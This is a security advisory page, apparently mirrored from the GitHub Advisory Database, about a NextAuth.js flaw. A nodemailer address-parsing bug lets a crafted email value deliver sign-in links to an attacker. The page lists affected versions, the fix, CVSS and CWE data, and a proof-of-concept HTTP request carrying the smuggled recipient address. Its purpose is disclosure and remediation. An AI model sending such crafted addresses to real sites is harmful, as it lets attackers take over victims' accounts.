NextAuthjs Email misdelivery Vulnerability
Summary
NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:
"e@attacker.com"@victim.comis parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.
| ≤ Version | Afftected |
|---|---|
| 4.24.11 | Yes |
| 5.0.0-beta.29 | Yes |
POC
Example Setup showing misdelivery of email
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"
export const { handlers, auth, signIn, signOut } = NextAuth({
adapter: PrismaAdapter(prisma),
providers: [
Nodemailer({
server: {
host: "127.0.0.1",
port: 1025,
...
},
from: "noreply@authjs.dev",
}),
],
pages: {
signIn: '/auth/signin',
verifyRequest: '/auth/verify-request',
},
})POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1
email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2FsigninMitigation
Update to nodemailer 7.0.7
Credits
https://zeropath.com/ Helped identify this security issue
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | next-auth | < 4.24.12, >= 5.0.0-beta.0, < 5.0.0-beta.30 | 4.24.12, 5.0.0-beta.30 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P- Debilidad (CWE)
CWE-200- Plataforma
- npm
- Paquete
next-auth- Publicada
- 29.10.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-5jpx-9hw9-2fx4 - CC BY 4.0
Historial de vulnerabilidades: next-auth
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 14
- Primera → última
- 02.2021 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 3
- Alta 4
- Media 5
- Baja 2
Divulgaciones por año
- 2021: 1
- 2022: 6
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 4
-
NextAuthjs Email misdelivery Vulnerability esta entrada
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